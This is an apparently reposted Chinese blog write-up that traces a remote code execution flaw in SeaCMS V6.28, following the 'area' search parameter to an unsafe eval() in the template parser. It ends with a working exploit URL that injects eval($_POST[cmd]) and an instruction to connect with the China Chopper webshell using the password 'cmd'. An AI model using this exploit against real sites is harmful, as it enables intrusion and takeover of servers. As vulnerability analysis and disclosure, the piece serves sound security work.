当前位置: 移动技术网 > 网络运营>安全>网站安全 > 海洋CMS V6.28 命令执行 0DAY

海洋CMS V6.28 命令执行 0DAY

2018年01月26日  | 移动技术网网络运营  | 我要评论

 t00ls上一个朋友fuzz出了一个0day,但是分析不出来问题到底出在哪里,我分析了一下。

我是怎么追踪这个0day的呢?

其实只要追area参数处理过的地方就好了

经过字符是否非法判断之后,调用 echoSearchPage() 函数

area参数经过了检测是否是拼音之后

接下来到了

$content=$mainClassObj->parseSearchItemList($content,"area");

其实有个方法很简单,命令执行无非就是那么几个函数,eval(),system(),proc_open()之类的

因为能执行php代码一般就是 eval() 函数

搜索一下这个页面有eval函数的地方

 for($m=0;$m<$arlen;$m++){            $strIf=$iar[1][$m];            $strIf=$this->parseStrIf($strIf);            $strThen=$iar[2][$m];            $strThen=$this->parseSubIf($strThen);            if (strpos($strThen,$labelRule2)===false){                if (strpos($strThen,$labelRule3)>=0){                    $elsearray=explode($labelRule3,$strThen);                    $strThen1=$elsearray[0];                    $strElse1=$elsearray[1];                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");                    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}                }else{                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}            }

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令,当然函数不好追的话,还有一种方法就是自己写一个函数,再下断点,这样追起来比较方便。

海洋CMS exp
/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

直接菜刀连接,密码cmd

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网